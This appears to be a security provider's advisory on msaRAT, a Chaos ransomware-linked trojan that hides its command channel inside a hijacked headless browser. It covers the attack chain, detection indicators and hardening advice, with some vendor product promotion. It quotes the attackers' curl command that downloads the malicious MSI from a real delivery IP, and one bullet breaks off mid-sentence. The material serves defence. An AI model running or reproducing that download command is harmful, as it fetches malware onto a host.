Cisco Talos has identified msaRAT, a Rust-based remote access trojan tied to the Chaos ransomware group, that builds its command-and-control channel by hijacking a browser already installed on the victim machine. The malware process itself never opens a network connection to the internet — every external byte leaves through Chrome or Edge, driven by the Chrome DevTools Protocol (CDP), the same debugging API developers use to inspect web pages. (Source: Cisco Talos)

That is the novel part. Instead of beaconing to an attacker server the way traditional RATs do, msaRAT launches a headless browser, injects JavaScript, and rides WebRTC — the peer-to-peer video and data standard baked into every modern browser — to reach its operators. From a firewall's point of view, the traffic looks like a legitimate browser doing legitimate WebRTC, which is common in enterprise environments running video calls and collaboration apps.

The RAT's own process only ever talks to 127.0.0.1. All outbound communication is observed coming from a signed, trusted browser executable.

Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.

This matters because of when it runs. Chaos deploys msaRAT after gaining access but before firing the ransomware, giving operators a durable, hard-to-spot channel for the work that precedes encryption:

• Data exfiltration for double-extortion leverage, moved over the covert DataChannel as file transfers and screenshots.
• Interactive control of the host through a browser-driven reverse shell.
• Extended dwell time, since the C2 hides inside traffic your existing tooling is built to allow.

For a business, the practical consequence is that an operator can sit inside your network, pull data, and stage a ransom demand while your network monitoring shows nothing more than a browser making ordinary web requests.

Attack Chain: From Initial Compromise to Browser-Based C2 Channel

The attack begins before any ransomware payload runs. After the Chaos operators gain access to a victim machine, they pull down the msaRAT loader with a single curl command that abuses port conventions to slip past network filtering:

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The request specifies port 443 but sends plaintext HTTP, not TLS. In environments where firewall rules allow traffic based only on the port number without inspecting the protocol, this download passes through as if it were normal encrypted web traffic. For SOC analysts, that mismatch — cleartext HTTP riding on a port reserved for HTTPS — is itself a hunt candidate.

The dropped file, update_ms.msi, lands in C:\programdata\ and carries property metadata configured to impersonate a Windows update. When executed, the installer fires a custom action named CA_Run_EA2AEBC3 on InstallFinalize. That action loads lib.dll — stored inside the MSI's Binary table as Bin_lib_EA2AEBC3 — directly into memory rather than dropping it to disk as a standalone file.

This in-memory load matters for detection. Because the DLL never touches disk as an independent artifact, file-based scanning of the filesystem may not catch it. The MSI itself is the tangible artifact worth hashing and hunting for. Talos publishes the associated indicators of compromise in its GitHub repository, including the delivery infrastructure IP (172.86.126.18).

How msaRAT executes and takes over the browser

lib.dll exposes a single export named RUN, called by the installer's custom action. Once running, msaRAT stands up the Tokio asynchronous runtime, reading the TOKIO_WORKER_THREADS environment variable and falling back to GetSystemInfo to size its worker pool. OS threads are then spawned through CreateThread. The practical result is that the RAT can receive frames from its controller, issue browser commands, and run key exchanges concurrently without any one task blocking another.

The malware then searches for an installed browser. It checks environment-variable-derived paths for Chrome and Edge in priority order, and if that fails, falls back to querying the registry specifically for Chrome. If no browser is found, the browser-control phase never runs — the RAT depends on a locally installed Chromium browser to function at all.

When a browser is located, msaRAT launches it in headless mode via CreateProcessW, applying flags that enable the CDP remote debugging port. From there it queries /json/list/ over HTTP, reads the webSocketDebuggerUrl from the JSON response, and opens a CDP session over WebSocket. Over that session it issues Target.createTarget, Page.enable, and Runtime.enable to stand up a live JavaScript environment inside the browser.

Why the browser transport is hard to catch

For a firewall or network monitoring tool, the outbound traffic looks like an ordinary browser doing ordinary WebRTC. There is no suspicious process reaching out to an unfamiliar domain, because the suspicious process talks only to localhost. For your SOC, this means process-to-network correlation — normally a reliable signal — breaks down, and browser telemetry becomes the more useful hunting ground.

Useful behavioral markers for hunting include:

• A browser launched with a remote debugging port enabled and headless flags, spawned by an unexpected parent process rather than a user session.
• CDP commands such as Page.setBypassCSP, repeated Runtime.addBinding calls, and Runtime.evaluate injecting script into a headless instance.
• Binding names msaOpen, msaClose, msaError, msaMessage, and dataAck appearing in CDP event traffic.
• The MSI artifact in C:\programdata\ impersonating a Windows update, and the custom action names CA_Run_EA2AEBC3 and Bin_lib_EA2AEBC3.

Talos ships coverage in the ClamAV signature Win.Downloader.ChaosRaas-10060321-0 and in Snort rules including SIDs 1:66839, 1:66840, and 1:66841 for Snort 2, and 1:301587 and 1:66839 for Snort 3. Because the loader arrives ahead of the ransomware stage, catching it at the MSI or browser-launch step gives responders a window to act before file encryption begins.

Why Browser-Based C2 Evades Detection and Complicates Incident Response

The core detection problem is that all outbound traffic from an infected host appears to come from a legitimate Chrome or Edge process talking to Cloudflare and Twilio infrastructure. From the perspective of your firewall or network monitoring stack, that traffic is indistinguishable from an employee joining a video call or loading a normal web application.

The RAT process itself only ever talks to 127.0.0.1. There is no beacon to an unfamiliar IP address, no odd DNS lookup, and no self-signed certificate to flag. That means the signatures and heuristics your team relies on to catch a traditional command-and-control channel simply have nothing to fire on.

The practical consequence is dwell time. The longer an operator sits inside your network undetected, the more of the ransomware lifecycle they complete before you know anything is wrong. That window is where the real cost accumulates.

With a stable, covert channel in place, the operators work through a familiar sequence:

• Reconnaissance — mapping your file shares, domain structure, and backup systems to

  Detection and Immediate Response for msaRAT and Chaos Ransomware

  The fastest way to confirm a msaRAT infection is to hunt for the loader artifacts on your endpoints. Query your EDR and SIEM for update_ms.msi and lib.dll written to C:\programdata\, along with any process named curl.exe reaching out to 172.86.126.18. These two files are the earliest reliable signals that a Chaos operator has staged the RAT before running ransomware.

  In the next four hours, your priority is finding infected hosts and pulling them off the network before the encryptor stages.

  • Hunt for Chrome or Edge running with the CDP remote debugging port enabled and a HeadlessChrome User-Agent. A headless browser that no user launched, spawned as a child of an unexpected process, is the behavioral fingerprint here.
  • Flag any browser process making outbound connections to *.workers.dev, global.turn.twilio.com, or stun2.l.google.com when no user is actively browsing. Legitimate WebRTC traffic ties to an active session; msaRAT's does not.
  • Isolate confirmed hosts at the network layer. Because the RAT process only talks to 127.0.0.1 and all external bytes leave through the browser, host-based network blocks tied to the RAT process alone will not cut the channel — you have to isolate the machine.

  In environments Capstone manages, SentinelOne flags the abnormal browser parent-child relationship and the in-memory DLL load from the MSI custom action before the ransomware payload runs. That behavioral catch matters because the loader impersonates a Windows update and the RAT never beacons to an unfamiliar IP.

  Over the next 24 to 48 hours, shift from containment to scoping. Preserve forensic evidence — memory images and the MSI file itself — before you remediate, since lib.dll loads directly into memory and a reboot destroys that artifact.

  • Pull browser history and proxy logs for requests to /token/v1/{UID} paths and Origin or Referer headers spoofing Microsoft's official website. The RAT disguises its signaling requests this way to blend into normal Microsoft-bound traffic.
  • Review credential access and authentication logs for lateral movement. Chaos operators abuse RMM tools and legitimate file-sharing software after initial access, so look for new RMM installs and unusual data staging.
  • Cross-reference the indicators published in Talos's GitHub repository against your DNS and proxy history to find hosts that contacted the C2 signaling infrastructure but were missed in the initial sweep.

  Adlumin monitors authentication patterns across managed environments and catches the lateral login anomalies that follow a Chaos foothold, before operators reach domain-level access.

  Longer term, close the specific gaps this attack chain relies on. Enforce application whitelisting so an MSI dropped into C:\programdata\ cannot execute, and apply Group Policy that disables the CDP remote debugging port on managed Chrome and Edge installations — the single control that removes msaRAT's execution path entirely.

  Deploy DNS and proxy filtering that inspects protocol, not just port, so plaintext HTTP riding on port 443 is caught rather than waved through. Load the ClamAV signature Win.Downloader.ChaosRaas-10060321-0 and the published Snort SIDs (Snort 3: 1:301587, 1:66839) into your detection stack to block the loader at delivery.

  Hardening Against Browser-Based Malware and Ransomware Delivery

  The single most effective control against this attack chain is application execution control. msaRAT arrives as a DLL loaded directly into memory by an MSI custom action, so blocking untrusted DLLs and installers stops the payload before it ever launches a browser. Configure Windows Defender Application Control (WDAC) or AppLocker to permit only signed, known-good DLLs and to block execution from user-writable directories like C:\ProgramData\. That single policy breaks the loader stage, because the malicious DLL is unsigned and lands in exactly the kind of location a whitelist should distrust.

  Next, restrict who can install MSI packages at all. Use Group Policy to set DisableMSI under HKLM\Software\Policies\Microsoft\Windows\Installer and deny non-administrator installs, and disable the "AlwaysInstallElevated" setting if it is enabled. Chaos operators run their installer after gaining a foothold, so removing standard-user install rights forces them to escalate first, which creates additional noise you can catch.

  Protect

  Harden the browsers this malware depends on. The attack requires launching Chrome or Edge in headless mode with the remote debugging port active, so block that behavior at the endpoint:

  • Set the Edge and Chrome enterprise policy RemoteDebuggingAllowed to false, which prevents the CDP debugging port from being enabled through command-line flags.
  • Deny non-administrator processes from spawning the browser with debugging flags via WDAC command-line rules.
  • Enforce browser isolation or remote browser sandboxing for high-risk users — executives, finance, and IT admins who are the usual targets of the vishing and spam-based initial access Chaos favors.

  Blocking the debugging port matters because the entire covert channel collapses without it. If the RAT cannot open a CDP session, it cannot inject its JavaScript, and no WebRTC channel is ever built.

  Detect

  Behavioral endpoint detection is the backstop for anything that slips past execution control. SentinelOne flags in-memory DLL loading and abnormal parent-child process relationships across managed environments, catching the moment an installer process spawns a headless browser with debugging arguments — a sequence that has no legitimate business purpose on a workstation.

  Tune your detection stack to alert on rundll32 or msiexec launching browser executables, and on any browser process listening on a local debugging port bound to 127.0.0.1. Because msaRAT keeps all its own traffic on loopback and pushes external bytes through the browser, loopback debugging activity paired with browser-originated WebRTC is one of the few reliable on-host signals.

  Respond & Recover

  Segment your network so a single compromised host cannot reach domain controllers, backup infrastructure, or file servers directly. Chaos relies on lateral movement and RMM abuse before deploying its encryptor, so tight east-west firewall rules and separate administrative tiers limit how far an operator gets from the initial foothold.

  Keep tested, offsite backups isolated from production credentials. N-able Cove maintains cloud-stored backup copies that a compromised host cannot reach or delete with local privileges, which preserves your ability to restore if the ransomware stage runs despite these controls.

  Rank these by what you can finish in 30 days: application control and MSI restrictions first, browser debugging policies second, then detection tuning and segmentation review. Each layer removes a required step from the chain, and the earlier links are the cheapest to break.

  What Ransomware Teams Should Do Now

  The design of msaRAT means that by the time you notice unusual outbound traffic, there may be nothing unusual to notice — the RAT process only ever talks to 127.0.0.1, and everything that leaves the host looks like an ordinary browser session. That shifts the burden entirely onto proactive hunting rather than passive alerting.

  Treat this as a working assumption: if Chaos has touched your environment, msaRAT is a plausible next step, and the vector may already have been attempted. The group operates as a ransomware-as-a-service outfit that targets large organizations with double extortion, and the RAT is staged before the encryptor runs. That pre-encryption window is where hunting pays off, because the loader and browser-hijacking behavior exist on disk and in process telemetry before any files are locked.

  Your priority is confirming presence or absence, not waiting for a network signature to fire. Two things make this urgent in practice:

  • The C2 channel is buried inside legitimate Chrome or Edge processes and routed through Cloudflare and Twilio infrastructure, so traditional network detection has little to catch.
  • Data leaving the host is double-encrypted with a ChaCha-Poly1305-based scheme on top of the browser's own DTLS, meaning even captured traffic yields nothing readable.

  Once you have hunted for the artifacts, the secondary work is reducing the browser attack surface and building detection that watches process behavior rather than destination IPs — because destination IPs here are Cloudflare and Twilio, both of which you almost certainly allow.

  The decision in front of you is straightforward. Assume compromise and hunt for msaRAT now, or assume the breach will be discovered later, after the encryptor has run.